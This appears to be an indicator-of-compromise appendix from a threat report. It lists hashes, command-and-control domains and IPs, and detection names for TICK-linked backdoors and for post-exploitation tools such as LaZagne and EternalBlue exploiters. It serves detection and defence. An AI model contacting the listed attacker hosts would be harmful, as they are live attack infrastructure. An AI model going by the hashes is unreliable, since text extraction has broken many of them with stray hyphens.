Chimaera backdoor v1	CD333611EFBCBF2822440652D6ED66011CF- 0FA1848DF1D938ECCCE727DEF9AD7	www.g00gle_kr.dns05. com	Backdoor.Win32. CHIMAERA.B	Troj.Win32. TRX.XX- PE50FFF036
Chimaera backdoor vl	82EA9147F7A97CC7B7D848D4C75F4DB74356E4DF- 64D034EA6DF6DA9C7E778AB7	www.g00gle_kr.dns05. com	Backdoor.Win32. CHIMAERA.A	Troj.Win32. TRX.XX- PE50FFF036
Chimaera backdoor v1	0ebb29b689ab6c86284cf61aa1e13da166f9b- c686929a420ac39f8db9b6871dd	www.g00gle_kr.dns05. com	Backdoor.Win32. CHIMAERA.A	Troj.Win32. TRX.XX- PE50FFF036
Chimaera dropper	0cf9d9e01184d22d54a3f9b6ef6c290105eaa32c- 7063355ca477d94b130976af		BKDR_BISONAL.SM- ZAEF	Troj.Win32. TRX.XX- PE50FFF036
Chimaera dropper	54D2309D23B82EA8294A08CBD09FAF1AF46A- C94A744A3AA873341429465FB178		Backdoor.Win32. CHIMAERA.B	Troj.Win32. TRX.XX- PE50FFF036
dexbia	98f3eaf7676df6b94b10f0df6d- 3b20457e2345925dc71247377c234f77dd9c3f	www.lucky-babys.com	BKDR_MC.SMZAEF	
dexbia	4bcb12b3e6be96b228202bc8a4406e- c1dd58384d1cc98bc189b54dd8221dbab9	finance.my-homeip.net	Backdoor.Win32. DEXBIA.C	
dexbia	0b32c44fdcf99496cbec- ea97116713c7f39396226f6bcab0ced2fa07d26d- a4f1	finance.my-homeip.net	Backdoor.Win32. DEXBIA.C	
dexbia	dba87c657c19876f13e494c4306e55e16c- 0d91eacefe9dc1ef9fe5374382cb0e	finance.my-homeip.net	Backdoor.Win32. DEXBIA.C	
dexbia	df4ac51e24dc31acab18c63556b48ab4adcd8b4f- c1d0a7a0eaf92964506e0239	www.riss.ntdll.net free2015.longmusic. com	BKDR_MC.SMZAEF1	Troj.Win32. TRX.XX- PE50FFF036
dexbia	e18c44fa279d7cfffa57b61188b98b- 83c05826120b220b8272dac0232bbe8350	webtvpot.system-ns. org	BKDR_MC.SMZAEF1	Troj.Win32. TRX.XX- PE50FFF036
dexbia	6ba254b8cd979dc43fcf3e8fe5ed- 33a88c5511e7bed3831ec3c3d85b21147ff5	tcostream.dhcp.biz	BKDR_MC.SMZAEF1	Troj.Win32. TRX.XX- PE50FFF036
dexbia	eb4d78c1b04af745e12b4fa8feea75c3f5a969b- 60c243d05c2d4c5dcc11ead92	babyhome.lflink.com	BKDR_MC.SMZAEF1	Troj.Win32. TRX.XX- PE50FFF036
dexbia	A0BB839F6A5F4AFA16A076EF492669402960BD5B- DACEE8ABEFBA2AD275B1109E	gmarket.system-ns.org free2015.longmusic. com	BKDR_MC.SMZAEF1	Troj.Win32. TRX.XX- PE50FFF036
dexbia	d5da23df6242a672e8fd520db6d91926c- 7861c685dfb2b4e6b3cda70935af1a1	gmarket.system-ns.org free2015.longmusic. com	BKDR_MC.SMZAEF1	Troj.Win32. TRX.XX- PE50FFF036
dexbia	449ce97cd95800169d3a585787a02bdb9d89b- bee32eaeb05217c52522c07526f	acivo.serveblog.net free2015.longmusic. com	Backdoor.Win32. DEXBIA.E	Troj.Win32. TRX.XX- PE50FFF036
dexbia	beb8c6dce6088512ef28a4431ad57ffb198bfe0c- ce2fa0f9442d1bf0a80c19a1	chrgeom.system-ns.net free2015.longmusic. com	Backdoor.Win32. DEXBIA.E	Troj.Win32. TRX.XX- PE50FFF036
dexbia	834FAC9C8121D16D40E7502C7A0067ABAD87B17A- C34A6B075A776F35BF46E15F	gmarket.system-ns.org free2015.longmusic. com	BKDR_MC.SMZAEF1	Troj.Win32. TRX.XX- PE50FFF036

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dexbia	70BBDAD49B7B1412185EAC5BCD6E9A12D- 25332FA20A03E44AABFD4204C88560E	tvpot.system-ns.org free2015.longmusic. com	Backdoor.Win32. DEXBIA.E	Troj.Win32. TRX.XX- PE50FFF036
dexbia	48A0D1B4F1E3CE73BFF64AFCDA313053F- 3596F1592579E0CC00EC95607FF9CAB	tvpot.system-ns.org free2015.longmusic. com	Backdoor.Win32. DEXBIA.F	Troj.Win32. TRX.XX- PE50FFF036
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dexbia	cc45aeeeac945f13cb7e7cb3ac95bb8923caec- 7c0084cbd73b08e374ade88ec7	lovehome.zzux.com free2015.longmusic. com	Backdoor.Win32. DEXBIA.D	
dexbia	945d23293a776db1fa4408ab8b630189617d77f- 73ba4dbf664161d690f13b084	lovehome.zzux.com free2015.longmusic. com	Backdoor.Win32. DEXBIA.D	
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SPM back- door	a81fe84a4c6e828a78134b67905ecc83c80b- cea4a84cf2cd4a6b38e41b2a005d	tsahimt.com	Trojan.Win32. APOST.H	
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SPM back- door	2a2da42696e51b9681c6fc69638ad6c- 3d02e10e9f82cb7ffec34032f6e38ac94	tsahimt.com	Trojan.Win32. APOST.H	
typehash	715b39926ebfe6e3ac92342386ca6c52b81eb- 068ca8851d3ea3aad267e66b866	www.yandex2united- stated.dynamic-dns. net	TrojanSpy.Win32. NEWSTMP.A	Troj.Win32. TRX.XX- PE50FFF032
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typehash	a77613cbb7e914796433bf344614e0c469e32a1d- 52fbaf3df174bf521a3fc6b7	hotmail.pop-corps.com	Backdoor.Win32. TONTO.B	Troj.Win32. TRX.XX- PE50FFF036
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typehash	98d65ee201e9b5591a4fe2996086de4886116df- 8561198190c14705bdd8f7b0e	help.kavlabonline.com	Backdoor.Win32. TONTO.B	Troj.Win32. TRX.XX- PE50FFF036

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Samples possible related to the TICK threat actor

Malware	SHA256	C&C domain	Detection	TrendX detection
Shadowpad	b238326c565ebdc89f81dfbf56520c9f62c- 07bc8a01fb06a66bd2a877859e7ba	HTTPS://45.76.220.137:443	BKDR_CASPER.ZL- GF-A	Troj.Win32. TRX.XX- PE50FFF034
Shadowpad	99a39ce462f0157b53c5a57326af3baeae- 38739babcc539b603d1e221019f586	HTTPS://14.18.191.50:443	Backdoor.Win32. SHADOWPAD.D	Troj.Win32. TRX.XX- PE50FFF036
Shadowpad	184c82fec8602f31f8c90727215b- 324de154154e6cac6d306c57a8fbd987e2db	HTTPS://220.231.208.212:443	BKDR_CSAPER.ZCGG	Troj.Win32. TRX.XX- PE50FFF030
Shadowpad	2a54577ad030472d6f0655297b- b151501066e04cad6382b932e- f689314e9f889	HTTPS://220.231.209.192:443	BKDR_CASPER.ZYGI	
Shadowpad	17866102f877c8e94aee60a848013f382f- 943993d378ca1b094b6ed84cba11e7	HTTPS://43.240.127.171:443	Backdoor.Win64. SHADOWPAD.AK	Troj.Win32. TRX.XX- PE50FFF034

Post-exploitation tools

Tools	SHA256	Detection name
Chromium credentials stealer	2895fedaf459b8d69d6251545f9263c730c669d1f1cec- cceb1bb200788e110e5	HackTool.Win32.LaZagne.AE
Chromium credentials stealer	00114b21cdc72f2d8dfc509462229f722a9d- 8d7e442208ee795f2b7d666cbdd7	HackTool.Win32.LaZagne.AE
Chromium credentials stealer	52ae0830916c321f0b09feeea8fa29c1275a67d9eec2c9f- 032475e6241cd3ca8	HackTool.Win32.LaZagne.AE
Chromium credentials stealer	f4ad27d75d0716b56e9328c6af4580ea210270a7209c3ff- 09863413d65016c33	HackTool.Win32.LaZagne.AE
Eternal blue exploitation	8087BAEA51B37E14D758EBC89D520D19E7343720C3F6D- FAA71B73FDD536DE9B0	HackTool.Win32.Mpacket.SM
Eternal blue exploitation	B162ACD79133CA27E023F02866AC- 6C0738C6530F178673083A555B802405DD3E	HackTool.Win32.Mpacket.SM
Eternal blue exploitation	73d11f8e917b2605e808f3484e5c56c0e60c5afce70574f- 35286be3cfb18cb7	HackTool.Win32.Mpacket.SM
Eternal blue exploitation	af3ec84a79dc58d0a449416b4cf8eb5f7fd39c2cf084f- 6b16ee05abe4a968f12	HackTool.Win32.Mpacket.SM
Eternal blue exploitation	eb11903d16e27131f617fb0b74d5c25b0ff2f8e0be5d- 8fa72e3692beed9d88fa	HackTool.Win32.Mpacket.SM
Eternal blue exploitation	40be4301ebb31d09bd9b0c34fb8ceeb9dee7a8b4e- 162fa771be271f4c4daf1f3	HackTool.Win32.Mpacket.SM

Eternal blue exploitation	cb847706e12806f3471a0a1ee9184205b7cf7b7d2f58b0b- 211c4f76fcfc299bc	HackTool.Win32.Mpacket.SM
Eternal blue exploitation	e3768ad2b2e505453e64fe0f18cb47b2fe62d- 184ac7925f73e792d374ba630aa	HackTool.Win32.Mpacket.SM
gsecdump v0.7	52FEB4607C599C001B92197E5BF079176E265ED28ACFB- F765B31D937AC2D19CC	HKTL_GSECDUMP
Hub relaying tool	E7C57FCB545F93A44B500FEF4A150699C8169421E33288F- B776526C657C980D2	HackTool.Win32.TrafficForward.A
inbtscan	0813b85f1a6ee5459eb8e91b717fcc355aad5600d2f477e7 0299d18f132dd704	HackTool.Win32.Nbtscan.AC
Keylogger and clipboard stealer	107d187e7e85a7276610bc48230d9908f597646fae60c- 3c236928542d4b82bd4	TrojanSpy.Win32.KEYLOGGR.BA
LaZagne	1a9ada813a04cfc34724891d92fb15456f09e7d- 84a727a32acdbeb8e3f1466fa	HackTool.Win32.Lazagne.AD
LaZagne	c722d5bab8a54e374ec245629bfca5327f93ac975ecee- 56b9c0c3765bf3c1db1	HackTool.Win32.Lazagne.AD
LaZagne	4ff0dae438d84b443e054528f67ad974d485872a33a59e- 7aeee447b2800a0fab	HackTool.Win32.LaZagne.AE
LaZagne	ab39194982c709cad0ce5fc0dd6b969f- 988287ca9d8739e7fb8076e305fada52	HackTool.Win32.LaZagne.AE
nbtscan 1.0.35	C9D5DC956841E000BFD8762E2F0B48B66C79B79500E- 894B4EFA7FB9BA17E4E9E	HackTool.Win32.NBTScan.A
Privilege escalation exploit	e40dc6d1397e283bcb69712dbd34c0e91c4d- 758f6963a7331dbef8048e1b7d7f	Trojan.Win32.CVE20160099.AB
Privilege escalation exploit	173FFEB825E24E4163F6BB6B91C7853A24356A5CA21A04D- FBDC082A9A1E488DC	Trojan.Win32.CVE20190803.B
Privilege escalation exploit	EA4D9719785FC5E8833A64D7F037C2190A- 5246FA6C4148EA4AFE9078300745F9	Trojan.Win32.CVE20190803.B
Privilege escalation exploit	7926FFC828D9809D8040C5476835FEA72BA75EF61AFDFDA- DE3C6B021D8DFF4DF	Trojan.Win64.CVE20190803.B
Privilege escalation exploit	68A3710765DA1886F00E40F2D5E02776D224C77AEA114CD- 22C3A6204A7FAD363	Trojan.Win64.CVE20190803.B
wdigest_extract	8EB40114581FE9DC8D3DA71EA407AD- FB871805902B72040D10F711A1DE750BFD	HackTool.Win64.WinCred.AB
wdigest_extract	8193e20b39f49744bb9f64d6a57a7d4845e6f- 81441599b62ac3e932b05feca0a	HackTool.Win64.WinCred.AB